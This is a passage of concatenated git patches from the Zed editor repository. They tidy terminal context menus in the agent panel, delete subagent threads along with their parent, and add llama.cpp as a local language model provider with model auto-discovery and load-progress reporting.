src="https://github.com/user-attachments/assets/225cf0c7-ab28-4a71-b692-b4b89bc074c2"
/>

Previously we would show all of these options both cases:

<img width="221" height="291" alt="image"
src="https://github.com/user-attachments/assets/bcb4e6b6-4a23-48b2-a778-fca4877d2b78"
/>

Also makes the inline assistant actually work inside of terminal threads


Release Notes:

- agent: Fixed an issue where some actions would be displayed in
terminals that would not work
---
 crates/agent_ui/src/agent_panel.rs        | 18 +++++-
 crates/agent_ui/src/inline_assistant.rs   |  7 +++
 crates/terminal_view/src/terminal_view.rs | 67 +++++++++++++++++------
 3 files changed, 71 insertions(+), 21 deletions(-)

diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index a26935e859164f..209a2e0fe0bbda 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -2044,7 +2044,10 @@ impl AgentPanel {
             this.update_in(cx, |this, window, cx| {
                 let terminal_for_init_command = terminal.clone();
                 let terminal_view = cx.new(|cx| {
-                    TerminalView::new(terminal, workspace, workspace_id, project, window, cx)
+                    let mut view =
+                        TerminalView::new(terminal, workspace, workspace_id, project, window, cx);
+                    view.set_show_workspace_actions(false, cx);
+                    view
                 });
                 this.insert_terminal(
                     terminal_id,
@@ -4070,6 +4073,13 @@ impl AgentPanel {
         }
     }
 
+    pub fn visible_terminal_view(&self) -> Option<&Entity<TerminalView>> {
+        match self.visible_surface() {
+            VisibleSurface::Terminal(terminal_view) => Some(terminal_view),
+            _ => None,
+        }
+    }
+
     pub fn conversation_view_for_id(
         &self,
         thread_id: &ThreadId,
@@ -6866,14 +6876,16 @@ impl AgentPanel {
         let terminal = cx.new(|cx| builder.subscribe(cx));
         let terminal_for_init_command = terminal.clone();
         let terminal_view = cx.new(|cx| {
-            TerminalView::new(
+            let mut view = TerminalView::new(
                 terminal,
                 self.workspace.clone(),
                 self.workspace_id,
                 self.project.downgrade(),
                 window,
                 cx,
-            )
+            );
+            view.set_show_workspace_actions(false, cx);
+            view
         });
         self.insert_terminal(
             terminal_id,
diff --git a/crates/agent_ui/src/inline_assistant.rs b/crates/agent_ui/src/inline_assistant.rs
index 4790b72fb92aa6..bec734527b816c 100644
--- a/crates/agent_ui/src/inline_assistant.rs
+++ b/crates/agent_ui/src/inline_assistant.rs
@@ -1476,6 +1476,13 @@ impl InlineAssistant {
             return Some(InlineAssistTarget::Terminal(terminal_view));
         }
 
+        if let Some(agent_panel) = workspace.panel::<AgentPanel>(cx)
+            && let Some(terminal_view) = agent_panel.read(cx).visible_terminal_view().cloned()
+            && terminal_view.focus_handle(cx).contains_focused(window, cx)
+        {
+            return Some(InlineAssistTarget::Terminal(terminal_view));
+        }
+
         if let Some(workspace_editor) = workspace
             .active_item(cx)
             .and_then(|item| item.act_as::<Editor>(cx))
diff --git a/crates/terminal_view/src/terminal_view.rs b/crates/terminal_view/src/terminal_view.rs
index 9c4321ca691a9e..6511497623a174 100644
--- a/crates/terminal_view/src/terminal_view.rs
+++ b/crates/terminal_view/src/terminal_view.rs
@@ -138,6 +138,9 @@ pub struct TerminalView {
     cursor_shape: CursorShape,
     blink_manager: Entity<BlinkManager>,
     mode: TerminalMode,
+    // Explicit override for whether workspace-specific context menu actions are shown.
+    // When `None`, visibility is derived from `mode` (hidden for embedded terminals).
+    show_workspace_actions: Option<bool>,
     blinking_terminal_enabled: bool,
     needs_serialize: bool,
     custom_title: Option<String>,
@@ -287,6 +290,7 @@ impl TerminalView {
             hover: None,
             hover_tooltip_update: Task::ready(()),
             mode: TerminalMode::Standalone,
+            show_workspace_actions: None,
             workspace_id,
             show_breadcrumbs: TerminalSettings::get_global(cx).toolbar.breadcrumbs,
             block_below_cursor: None,
@@ -315,6 +319,22 @@ impl TerminalView {
         cx.notify();
     }
 
+    /// Explicitly override whether workspace-specific context menu actions (e.g. creating or
+    /// closing terminal tabs, inline assist) are shown.
+    ///
+    /// This lets hosts that aren't workspace panes (such as the agent panel) hide these
+    /// actions without `terminal_view` needing to know about those hosts. When never called,
+    /// visibility is derived from the terminal's `mode`.
+    pub fn set_show_workspace_actions(&mut self, show: bool, cx: &mut Context<Self>) {
+        self.show_workspace_actions = Some(show);
+        cx.notify();
+    }
+
+    fn shows_workspace_actions(&self) -> bool {
+        self.show_workspace_actions
+            .unwrap_or_else(|| !matches!(self.mode, TerminalMode::Embedded { .. }))
+    }
+
     const MAX_EMBEDDED_LINES: usize = 1_000;
 
     /// Returns the current `ContentMode` depending on the set `TerminalMode` and the current number of lines
@@ -507,35 +527,46 @@ impl TerminalView {
             .is_some_and(|terminal_panel| terminal_panel.read(cx).assistant_enabled());
         let context_menu = ContextMenu::build(window, cx, |menu, _, _| {
             menu.context(self.focus_handle.clone())
-                .action("New Terminal", Box::new(NewTerminal::default()))
-                .action(
-                    "New Center Terminal",
-                    Box::new(NewCenterTerminal::default()),
-                )
-                .separator()
+                .when(self.shows_workspace_actions(), |menu| {
+                    menu.action("New Terminal", Box::new(NewTerminal::default()))
+                        .action(
+                            "New Center Terminal",
+                            Box::new(NewCenterTerminal::default()),
+                        )
+                        .separator()
+                })
                 .action("Copy", Box::new(Copy))
-                .action("Paste", Box::new(Paste))
-                .action("Paste Text", Box::new(PasteText))
+                .when(
+                    !matches!(self.mode, TerminalMode::Embedded { .. }),
+                    |menu| {
+                        menu.action("Paste", Box::new(Paste))
+                            .action("Paste Text", Box::new(PasteText))
+                    },
+                )
                 .action("Select All", Box::new(SelectAll))
-                .action("Clear", Box::new(Clear))
+                .when(
+                    !matches!(self.mode, TerminalMode::Embedded { .. }),
+                    |menu| menu.action("Clear", Box::new(Clear)),
+                )
                 .when(
                     assistant_enabled && !matches!(self.mode, TerminalMode::Embedded { .. }),
                     |menu| {
                         menu.separator()
                             .action("Inline Assist", Box::new(InlineAssist::default()))
-                            .when(has_selection, |menu| {
+                            .when(has_selection && self.shows_workspace_actions(), |menu| {
                                 menu.action("Add to Agent Thread", Box::new(AddSelectionToThread))
                             })
                     },
                 )
-                .separator()
-                .action(
-                    "Close Terminal Tab",
-                    Box::new(CloseActiveItem {
-                        save_intent: None,
-                        close_pinned: true,
-                    }),
-                )
+                .when(self.shows_workspace_actions(), |menu| {
+                    menu.separator().action(
+                        "Close Terminal Tab",
+                        Box::new(CloseActiveItem {
+                            save_intent: None,
+                            close_pinned: true,
+                        }),
+                    )
+                })
         });
 
         window.focus(&context_menu.focus_handle(cx), cx);

From 9cb139fc385db58254296d984b05d49dbdfda683 Mon Sep 17 00:00:00 2001
From: Bennet Bo Fenner <bennet@zed.dev>
Date: Mon, 29 Jun 2026 12:25:26 +0200
Subject: [PATCH 155/772] agent: Delete subagent threads when deleting parent
 thread (#60071)

Closes #59584

Release Notes:

- agent: Delete subagent threads from database when deleting parent
thread
---
 crates/agent/src/db.rs | 95 +++++++++++++++++++++++++++++++++++++-----
 1 file changed, 84 insertions(+), 11 deletions(-)

diff --git a/crates/agent/src/db.rs b/crates/agent/src/db.rs
index 617688335067c4..9d0541475bba68 100644
--- a/crates/agent/src/db.rs
+++ b/crates/agent/src/db.rs
@@ -668,31 +668,48 @@ impl ThreadsDatabase {
         let connection = self.connection.clone();
 
         self.executor.spawn(async move {
-            let sandboxed_terminal_temp_dir = {
+            let sandboxed_terminal_temp_dirs = {
                 let connection = connection.lock();
 
+                let mut select_children =
+                    connection.select_bound::<Arc<str>, Arc<str>>(indoc! {"
+                    SELECT id FROM threads WHERE parent_id = ?
+                "})?;
+
+                // Collect target thread together with all of its transitive
+                // subagent threads
+                let mut ids_to_delete = vec![id.0.clone()];
+                let mut frontier = vec![id.0.clone()];
+                while let Some(parent) = frontier.pop() {
+                    for child in select_children(parent)? {
+                        ids_to_delete.push(child.clone());
+                        frontier.push(child);
+                    }
+                }
+
                 let mut select =
                     connection.select_bound::<Arc<str>, (DataType, Vec<u8>)>(indoc! {"
                     SELECT data_type, data FROM threads WHERE id = ? LIMIT 1
                 "})?;
 
-                let sandboxed_terminal_temp_dir = select(id.0.clone())?
-                    .into_iter()
-                    .next()
-                    .and_then(|(data_type, data)| {
-                        Self::sandboxed_terminal_temp_dir(data_type, data)
-                    });
-
                 let mut delete = connection.exec_bound::<Arc<str>>(indoc! {"
                     DELETE FROM threads WHERE id = ?
                 "})?;
 
-                delete(id.0)?;
+                let mut sandboxed_terminal_temp_dirs = Vec::new();
+                for thread_id in ids_to_delete {
+                    if let Some(temp_dir) = select(thread_id.clone())?.into_iter().next().and_then(
+                        |(data_type, data)| Self::sandboxed_terminal_temp_dir(data_type, data),
+                    ) {
+                        sandboxed_terminal_temp_dirs.push(temp_dir);
+                    }
+                    delete(thread_id)?;
+                }
 
-                sandboxed_terminal_temp_dir
+                sandboxed_terminal_temp_dirs
             };
 
-            if let Some(temp_dir) = sandboxed_terminal_temp_dir {
+            for temp_dir in sandboxed_terminal_temp_dirs {
                 Self::remove_sandboxed_terminal_temp_dir(temp_dir);
             }
 
@@ -1009,6 +1026,62 @@ mod tests {
         assert!(!temp_dir.exists());
     }
 
+    #[gpui::test]
+    async fn test_delete_thread_deletes_subagent_threads(cx: &mut TestAppContext) {
+        let database = ThreadsDatabase::new(cx.executor()).unwrap();
+
+        let parent_id = session_id("parent-thread");
+        let child_id = session_id("child-thread");
+        let grandchild_id = session_id("grandchild-thread");
+        let unrelated_id = session_id("unrelated-thread");
+
+        let parent_thread = make_thread(
+            "Parent Thread",
+            Utc.with_ymd_and_hms(2024, 1, 1, 0, 0, 0).unwrap(),
+        );
+
+        let mut child_thread = make_thread(
+            "Child Subagent Thread",
+            Utc.with_ymd_and_hms(2024, 1, 1, 0, 0, 0).unwrap(),
+        );
+        child_thread.subagent_context = Some(crate::SubagentContext {
+            parent_thread_id: parent_id.clone(),
+            depth: 1,
+        });
+
+        let mut grandchild_thread = make_thread(
+            "Grandchild Subagent Thread",
+            Utc.with_ymd_and_hms(2024, 1, 1, 0, 0, 0).unwrap(),
+        );
+        grandchild_thread.subagent_context = Some(crate::SubagentContext {
+            parent_thread_id: child_id.clone(),
+            depth: 2,
+        });
+
+        let unrelated_thread = make_thread(
+            "Unrelated Thread",
+            Utc.with_ymd_and_hms(2024, 1, 1, 0, 0, 0).unwrap(),
+        );
+
+        for (id, thread) in [
+            (parent_id.clone(), parent_thread),
+            (child_id.clone(), child_thread),
+            (grandchild_id.clone(), grandchild_thread),
+            (unrelated_id.clone(), unrelated_thread),
+        ] {
+            database
+                .save_thread(id, thread, PathList::default())
+                .await
+                .unwrap();
+        }
+
+        database.delete_thread(parent_id.clone()).await.unwrap();
+
+        let remaining = database.list_threads().await.unwrap();
+        let remaining_ids: Vec<_> = remaining.iter().map(|thread| thread.id.clone()).collect();
+        assert_eq!(remaining_ids, vec![unrelated_id]);
+    }
+
     #[gpui::test]
     async fn test_subagent_context_roundtrips_through_save_load(cx: &mut TestAppContext) {
         let database = ThreadsDatabase::new(cx.executor()).unwrap();

From 4b119fc54758bbd5e1603fb2d48f2af743fe14b2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?c=C3=A9lina?= <hanouticelina@gmail.com>
Date: Mon, 29 Jun 2026 15:24:33 +0200
Subject: [PATCH 156/772] Add llama.cpp as a language model provider (#59964)

Hi there, I'm Celina from Hugging Face! Opening this PR to add
[llama.cpp](https://llama.app) as a model provider

# Objective

Today Zed users running llama.cpp have to fall back to the generic
OpenAI-compatible provider, which means no auto-discovery (the router
mode (`llama serve`) discovers models from the cache and loads them on
demand) and manual configuration of every model and its capabilities.
This PR makes `llama.cpp` a first-class provider with the same
auto-discovery experience.

## Solution

- Add a `llama_cpp` client crate with the OpenAI-compatible chat types
(`/v1/chat/completions`, including `reasoning_content`) and the
discovery types (`/v1/models`, `/props`), mirroring the existing
`ollama` crate.
- Add the provider in
`crates/language_models/src/provider/llama_cpp.rs`, modeled on the
Ollama provider (settings, configuration view, event mapping).
- Auto discover served models and their context length and tool/vision
support from `/props`. Set `auto_discover: false` to list models
manually instead.
- An unloaded model can't be inspected without loading it, so it is
listed with optimistic defaults (large context, tools enabled) and is
usable from the first message; its real context length and tool support
are filled in once it loads. These live behind a shared map, so a model
already selected in an open conversation picks them up without being
re-selected.
- Show load progress. The provider subscribes to `/models/sse` and
surfaces each model's load progress (e.g. "Loading weights 42%") in its
display name, reconciling stale labels against `/v1/models`. Builds
without `/models/sse` degrade gracefully - no progress, and no
capability refresh after the initial discovery.
- Add settings (`api_url`, `auto_discover`, `available_models` with
per-model `max_tokens` / `supports_tools` / `supports_images`,
`context_window`, `custom_headers`), the provider icon, a `default.json`
entry, and documentation under "Use a Local Model".

No new dependencies: the crate reuses existing workspace dependencies,
and shared state uses `std::sync::RwLock`.

## Testing

- Unit tests in both new crates cover wire/response parsing, model
discovery for single-model and router shapes, the cold-start optimistic
defaults, the in-place capability refresh once a model loads, and the
`/models/sse` event handling (state changes, load failure, load
progress).
- Built Zed locally and ran it against a local `llama serve` router:
confirmed models are discovered without manual configuration, that the
first message works before a model has finished loading, that load
progress is shown in the model's display name while it loads, and that
the reported context length and tool support refine to the model's real
values once it finishes loading.
- Platforms: tested on macOS (Apple Silicon).

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

The generation speed (tokens/sec) depends on the machine you're running
the model, here it's a Apple M3 Max 64GB running a 4-bit quant of
https://huggingface.co/Qwen/Qwen3.5-35B-A3B. For the load progress
status, make sure to upgrade your llama.cpp version to the latest build.


https://github.com/user-attachments/assets/0254f6ef-abe9-42ed-810b-ef1a5b8fa3bd


---

Release Notes:

- Added llama.cpp as a language model provider

---------

Co-authored-by: Ben Brandt <benjamin.j.brandt@gmail.com>
---
 Cargo.lock                                    |   14 +
 Cargo.toml                                    |    3 +
 assets/icons/ai_llama_cpp.svg                 |    4 +
 assets/settings/default.json                  |    3 +
 crates/icons/src/icons.rs                     |    1 +
 crates/language_models/Cargo.toml             |    1 +
 crates/language_models/src/language_models.rs |    9 +
 crates/language_models/src/provider.rs        |    1 +
 .../language_models/src/provider/llama_cpp.rs | 2073 +++++++++++++++++
 crates/language_models/src/settings.rs        |   18 +-
 crates/llama_cpp/Cargo.toml                   |   25 +
 crates/llama_cpp/LICENSE-GPL                  |    1 +
 crates/llama_cpp/src/llama_cpp.rs             |  911 ++++++++
 crates/settings_content/src/language_model.rs |   31 +
 docs/src/ai/by-company.md                     |    3 +-
 docs/src/ai/use-a-local-model.md              |   62 +-
 16 files changed, 3153 insertions(+), 7 deletions(-)
 create mode 100644 assets/icons/ai_llama_cpp.svg
 create mode 100644 crates/language_models/src/provider/llama_cpp.rs
 create mode 100644 crates/llama_cpp/Cargo.toml
 create mode 120000 crates/llama_cpp/LICENSE-GPL
 create mode 100644 crates/llama_cpp/src/llama_cpp.rs

diff --git a/Cargo.lock b/Cargo.lock
index f43363e23c26ca..f5803b5baa63e8 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -9823,6 +9823,7 @@ dependencies = [
  "language",
  "language_model",
  "language_models_cloud",
+ "llama_cpp",
  "lmstudio",
  "log",
  "menu",
@@ -10354,6 +10355,19 @@ dependencies = [
  "zed-scap",
 ]
 
+[[package]]
+name = "llama_cpp"
+version = "0.1.0"
+dependencies = [
+ "anyhow",
+ "futures 0.3.32",
+ "http_client",
+ "schemars 1.0.4",
+ "serde",
+ "serde_json",
+ "url",
+]
+
 [[package]]
 name = "lmdb-master-sys"
 version = "0.2.5"
diff --git a/Cargo.toml b/Cargo.toml
index 4f36916d2ddeac..4d36e276a578db 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -126,6 +126,7 @@ members = [
     "crates/line_ending_selector",
     "crates/livekit_api",
     "crates/livekit_client",
+    "crates/llama_cpp",
     "crates/lmstudio",
     "crates/lsp",
     "crates/markdown",
@@ -384,6 +385,7 @@ languages = { path = "crates/languages" }
 line_ending_selector = { path = "crates/line_ending_selector" }
 livekit_api = { path = "crates/livekit_api" }
 livekit_client = { path = "crates/livekit_client" }
+llama_cpp = { path = "crates/llama_cpp" }
 lmstudio = { path = "crates/lmstudio" }
 lsp = { path = "crates/lsp" }
 markdown = { path = "crates/markdown" }
@@ -977,6 +979,7 @@ edit_prediction_ui = { codegen-units = 1 }
 install_cli = { codegen-units = 1 }
 journal = { codegen-units = 1 }
 json_schema_store = { codegen-units = 1 }
+llama_cpp = { codegen-units = 1 }
 lmstudio = { codegen-units = 1 }
 menu = { codegen-units = 1 }
 notifications = { codegen-units = 1 }
diff --git a/assets/icons/ai_llama_cpp.svg b/assets/icons/ai_llama_cpp.svg
new file mode 100644
index 00000000000000..310ec3793a5c80
--- /dev/null
+++ b/assets/icons/ai_llama_cpp.svg
@@ -0,0 +1,4 @@
+<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
+<path d="M14 9.84L12.085 13.16L12.0827 13.1586C11.745 13.6814 11.1639 14 10.5373 14H4.4L6.8 9.84H14Z" fill="currentColor"/>
+<path d="M6.8 9.84H2L5.992 2.9205C6.3206 2.3509 6.9282 2 7.5858 2H11.3231L6.8 9.84Z" fill="currentColor"/>
+</svg>
diff --git a/assets/settings/default.json b/assets/settings/default.json
index e4051ee8f02f93..059608ae046890 100644
--- a/assets/settings/default.json
+++ b/assets/settings/default.json
@@ -2427,6 +2427,9 @@
     "ollama": {
       "api_url": "http://localhost:11434",
     },
+    "llama_cpp": {
+      "api_url": "http://localhost:8080",
+    },
     "openai": {
       "api_url": "https://api.openai.com/v1",
     },
diff --git a/crates/icons/src/icons.rs b/crates/icons/src/icons.rs
index a94b43e8017c49..56182da2133bfb 100644
--- a/crates/icons/src/icons.rs
+++ b/crates/icons/src/icons.rs
@@ -17,6 +17,7 @@ pub enum IconName {
     AiEdit,
     AiGemini,
     AiGoogle,
+    AiLlamaCpp,
     AiLmStudio,
     AiMistral,
     AiOllama,
diff --git a/crates/language_models/Cargo.toml b/crates/language_models/Cargo.toml
index b96a377f02c19b..57a0d530e451b2 100644
--- a/crates/language_models/Cargo.toml
+++ b/crates/language_models/Cargo.toml
@@ -43,6 +43,7 @@ http_client.workspace = true
 language.workspace = true
 language_model.workspace = true
 language_models_cloud.workspace = true
+llama_cpp = { workspace = true, features = ["schemars"] }
 lmstudio = { workspace = true, features = ["schemars"] }
 log.workspace = true
 menu.workspace = true
diff --git a/crates/language_models/src/language_models.rs b/crates/language_models/src/language_models.rs
index dc13cde13782a4..1133ee2d47760e 100644
--- a/crates/language_models/src/language_models.rs
+++ b/crates/language_models/src/language_models.rs
@@ -24,6 +24,7 @@ use crate::provider::bedrock::BedrockLanguageModelProvider;
 use crate::provider::cloud::CloudLanguageModelProvider;
 use crate::provider::copilot_chat::CopilotChatLanguageModelProvider;
 use crate::provider::google::GoogleLanguageModelProvider;
+use crate::provider::llama_cpp::LlamaCppLanguageModelProvider;
 use crate::provider::lmstudio::LmStudioLanguageModelProvider;
 pub use crate::provider::mistral::MistralLanguageModelProvider;
 use crate::provider::ollama::OllamaLanguageModelProvider;
@@ -307,6 +308,14 @@ fn register_language_model_providers(
         )),
         cx,
     );
+    registry.register_provider(
+        Arc::new(LlamaCppLanguageModelProvider::new(
+            client.http_client(),
+            credentials_provider.clone(),
+            cx,
+        )),
+        cx,
+    );
     registry.register_provider(
         Arc::new(DeepSeekLanguageModelProvider::new(
             client.http_client(),
diff --git a/crates/language_models/src/provider.rs b/crates/language_models/src/provider.rs
index 3a1369a2d1c2e4..65fc039b074750 100644
--- a/crates/language_models/src/provider.rs
+++ b/crates/language_models/src/provider.rs
@@ -10,6 +10,7 @@ pub mod cloud;
 pub mod copilot_chat;
 pub mod deepseek;
 pub mod google;
+pub mod llama_cpp;
 pub mod lmstudio;
 pub mod mistral;
 pub mod ollama;
diff --git a/crates/language_models/src/provider/llama_cpp.rs b/crates/language_models/src/provider/llama_cpp.rs
new file mode 100644
index 00000000000000..935ec74f9a467a
--- /dev/null
+++ b/crates/language_models/src/provider/llama_cpp.rs
@@ -0,0 +1,2073 @@
+use anyhow::Result;
+use collections::{HashMap, HashSet};
+use credentials_provider::CredentialsProvider;
+use fs::Fs;
+use futures::Stream;
+use futures::{FutureExt, StreamExt, future::BoxFuture, stream::BoxStream};
+use gpui::{AnyView, App, AsyncApp, Context, CursorStyle, Entity, Task, TaskExt};
+use http_client::{CustomHeaders, HttpClient};
+use language_model::util::parse_tool_arguments;
+use language_model::{
+    ApiKeyState, AuthenticateError, EnvVar, IconOrSvg, LanguageModel, LanguageModelCompletionError,
+    LanguageModelCompletionEvent, LanguageModelId, LanguageModelName, LanguageModelProvider,
+    LanguageModelProviderId, LanguageModelProviderName, LanguageModelProviderState,
+    LanguageModelRequest, LanguageModelToolChoice, LanguageModelToolResultContent,
+    LanguageModelToolUse, MessageContent, RateLimiter, Role, StopReason, TokenUsage, env_var,
+};
+use llama_cpp::{
+    LLAMA_CPP_API_URL, ModelEntry, Props, get_models, get_props, stream_chat_completion,
+    stream_model_events,
+};
+pub use settings::LlamaCppAvailableModel as AvailableModel;
+use settings::{Settings, SettingsStore, update_settings_file};
+use std::pin::Pin;
+use std::sync::LazyLock;
+use std::sync::{Arc, RwLock, RwLockReadGuard, RwLockWriteGuard};
+use std::time::Duration;
+use ui::{
+    ButtonLike, ButtonLink, ConfiguredApiCard, ElevationIndex, List, ListBulletItem, Tooltip,
+    prelude::*,
+};
+use ui_input::InputField;
+use util::ResultExt;
+
+use crate::AllLanguageModelSettings;
+
+const LLAMA_CPP_DOWNLOAD_URL: &str = "https://llama.app";
+const LLAMA_CPP_MODELS_URL: &str = "https://huggingface.co/models?library=gguf&sort=trending";
+
+const PROVIDER_ID: LanguageModelProviderId = LanguageModelProviderId::new("llama_cpp");
+const PROVIDER_NAME: LanguageModelProviderName = LanguageModelProviderName::new("llama.cpp");
+
+const API_KEY_ENV_VAR_NAME: &str = "LLAMACPP_API_KEY";
+static API_KEY_ENV_VAR: LazyLock<EnvVar> = env_var!(API_KEY_ENV_VAR_NAME);
+
+/// How long to wait before reconnecting to `/models/sse` after the stream ends.
+const MODEL_EVENT_RECONNECT_INTERVAL: Duration = Duration::from_secs(5);
+
+/// Context length assumed for an unloaded router model (it can't be probed
+/// without loading it). Generous so early messages work; re-discovery refines
+/// it once the model loads.
+const ASSUMED_UNLOADED_CONTEXT: u64 = 131_072;
+
+#[derive(Default, Debug, Clone, PartialEq)]
+pub struct LlamaCppSettings {
+    pub api_url: String,
+    pub auto_discover: bool,
+    pub available_models: Vec<AvailableModel>,
+    pub context_window: Option<u64>,
+    pub custom_headers: CustomHeaders,
+}
+
+pub struct LlamaCppLanguageModelProvider {
+    http_client: Arc<dyn HttpClient>,
+    state: Entity<State>,
+    /// Live capabilities shared with the agent's models (see [`LiveCapabilities`]).
+    capability_cells: CapabilityCells,
+    /// Live model-load progress shared with the models (see [`LoadingProgress`]).
+    loading_progress: LoadingProgress,
+}
+
+pub struct State {
+    api_key_state: ApiKeyState,
+    credentials_provider: Arc<dyn CredentialsProvider>,
+    http_client: Arc<dyn HttpClient>,
+    fetched_models: Vec<llama_cpp::Model>,
+    fetch_model_task: Option<Task<Result<()>>>,
+    /// Router-mode task on `/models/sse`; re-runs discovery as models load/unload.
+    model_event_task: Option<Task<()>>,
+    /// Same `Arc` as the provider's; re-discovery keeps these cells in sync.
+    capability_cells: CapabilityCells,
+    /// Same `Arc` as the provider's; the event stream updates it as a model loads.
+    loading_progress: LoadingProgress,
+}
+
+impl State {
+    fn is_authenticated(&self) -> bool {
+        !self.fetched_models.is_empty()
+    }
+
+    fn set_api_key(&mut self, api_key: Option<String>, cx: &mut Context<Self>) -> Task<Result<()>> {
+        let credentials_provider = self.credentials_provider.clone();
+        let api_url = LlamaCppLanguageModelProvider::api_url(cx);
+        let task = self.api_key_state.store(
+            api_url,
+            api_key,
+            |this| &mut this.api_key_state,
+            credentials_provider,
+            cx,
+        );
+
+        self.fetched_models.clear();
+        // Drop the event stream so it reconnects with the new key (re-fetch
+        // below restarts it).
+        self.model_event_task = None;
+        write_recover(&self.loading_progress).clear();
+        cx.spawn(async move |this, cx| {
+            let result = task.await;
+            this.update(cx, |this, cx| this.restart_fetch_models_task(cx))
+                .ok();
+            result
+        })
+    }
+
+    fn authenticate(&mut self, cx: &mut Context<Self>) -> Task<Result<(), AuthenticateError>> {
+        let credentials_provider = self.credentials_provider.clone();
+        let api_url = LlamaCppLanguageModelProvider::api_url(cx);
+        let load_key_task = self.api_key_state.load_if_needed(
+            api_url,
+            |this| &mut this.api_key_state,
+            credentials_provider,
+            cx,
+        );
+
+        if self.is_authenticated() {
+            return Task::ready(Ok(()));
+        }
+
+        cx.spawn(async move |this, cx| {
+            match load_key_task.await {
+                Ok(()) | Err(AuthenticateError::CredentialsNotFound) => {}
+                Err(error) => {
+                    log::warn!("failed to load llama.cpp API key: {error}");
+                }
+            }
+            let fetch_models_task = this.update(cx, |this, cx| this.fetch_models(cx))?;
+            match fetch_models_task.await {
+                Ok(()) => Ok(()),
+                Err(err) => {
+                    // A refused connection means the server isn't running yet, not an error.
+                    let connection_refused = err.chain().any(|cause| {
+                        cause
+                            .downcast_ref::<std::io::Error>()
+                            .is_some_and(|io_err| {
+                                io_err.kind() == std::io::ErrorKind::ConnectionRefused
+                            })
+                    });
+                    if connection_refused {
+                        Err(AuthenticateError::ConnectionRefused)
+                    } else {
+                        Err(AuthenticateError::Other(err))
+                    }
+                }
+            }
+        })
+    }
+
+    fn fetch_models(&mut self, cx: &mut Context<Self>) -> Task<Result<()>> {
+        let http_client = Arc::clone(&self.http_client);
+        let settings = LlamaCppLanguageModelProvider::settings(cx);
+        let api_url = LlamaCppLanguageModelProvider::api_url(cx);
+        let api_key = self.api_key_state.key(&api_url);
+        let extra_headers = settings.custom_headers.clone();
+
+        cx.spawn(async move |this, cx| {
+            let entries = get_models(
+                http_client.as_ref(),
+                &api_url,
+                api_key.as_deref(),
+                &extra_headers,
+            )
+            .await?;
+
+            let is_router = entries.iter().any(ModelEntry::is_router_entry);
+
+            // Models the server reports as loading, used below to prune stale
+            // progress labels by reconciling against the live listing (a preempted
+            // load or missed SSE event can skip the terminal event).
+            let loading_ids: HashSet<String> = entries
+                .iter()
+                .filter(|entry| entry.is_loading())
+                .map(|entry| entry.id.clone())
+                .collect();
+
+            let models: Vec<llama_cpp::Model> = if is_router {
+                // Router mode: metadata comes from `/v1/models`. We probe
+                // `/props` only for loaded models so listing never triggers a
+                // load; unloaded models use the listing's hints and overrides.
+                let tasks = entries.into_iter().map(|entry| {
+                    let http_client = Arc::clone(&http_client);
+                    let api_url = api_url.clone();
+                    let api_key = api_key.clone();
+                    let extra_headers = extra_headers.clone();
+                    async move {
+                        let props = if entry.is_loaded() {
+                            get_props(
+                                http_client.as_ref(),
+                                &api_url,
+                                api_key.as_deref(),
+                                Some(&entry.id),
+                                &extra_headers,
+                            )
+                            .await
+                            .log_err()
+                        } else {
+                            None
+                        };
+                        model_from_entry(&entry, props.as_ref())
+                    }
+                });
+                futures::stream::iter(tasks)
+                    .buffer_unordered(5)
+                    .collect()
+                    .await
+            } else {
+                // Single-model mode: one `/props` call describes the loaded model.
+                let props = get_props(
+                    http_client.as_ref(),
+                    &api_url,
+                    api_key.as_deref(),
+                    None,
+                    &extra_headers,
+                )
+                .await
+                .log_err();
+                entries
+                    .iter()
+                    .map(|entry| model_from_entry(entry, props.as_ref()))
+                    .collect()
+            };
+
+            this.update(cx, |this, cx| {
+                this.fetched_models = models;
+                let effective = compute_effective_models(
+                    &this.fetched_models,
+                    LlamaCppLanguageModelProvider::settings(cx),
+                );
+                sync_capability_cells(&this.capability_cells, &effective);
+                // Drop progress labels for models no longer loading, so a stale
+                // "Loading …" can't stick after a preempted load or missed event.
+                write_recover(&this.loading_progress).retain(|id, _| loading_ids.contains(id));
+                // Router mode loads models on demand: subscribe so capabilities
+                // self-correct as they load/unload. Start it once (events trigger
+                // re-discovery, not a re-spawn); single-model mode needs no stream.
+                if is_router {
+                    if this.model_event_task.is_none() {
+                        this.start_model_event_stream(cx);
+                    }
+                } else {
+                    this.model_event_task = None;
+                }
+                cx.notify();
+            })
+        })
+    }
+
+    /// Subscribes to `/models/sse` and re-runs discovery as models load, unload,
+    /// or the list changes, so capabilities stay current. Reconnects if the stream
+    /// drops; on builds without `/models/sse` the refresh is simply skipped.
+    fn start_model_event_stream(&mut self, cx: &mut Context<Self>) {
+        let http_client = Arc::clone(&self.http_client);
+        let api_url = LlamaCppLanguageModelProvider::api_url(cx);
+        let api_key = self.api_key_state.key(&api_url);
+        let extra_headers = LlamaCppLanguageModelProvider::settings(cx)
+            .custom_headers
+            .clone();
+
+        self.model_event_task = Some(cx.spawn(async move |this, cx| {
+            loop {
+                match stream_model_events(
+                    http_client.as_ref(),
+                    &api_url,
+                    api_key.as_deref(),
+                    &extra_headers,
+                )
+                .await
+                {
+                    Ok(mut events) => {
+                        while let Some(event) = events.next().await {
+                            let Some(event) = event.log_err() else {
+                                continue;
+                            };
+                            if let Some(exit_code) = event.load_failure() {
+                                log::error!(
+                                    "llama.cpp model {} failed to load (exit code {exit_code})",
+                                    event.model
+                                );
+                            }
+                            // Loading-progress tick: record it for the selector (no
+                            // re-discovery). `cx.notify()` drives `ProviderStateChanged`.
+                            if let Some(progress) = event.load_progress() {
+                                let label = SharedString::from(progress.progress_label());
+                                if this
+                                    .update(cx, |this, cx| {
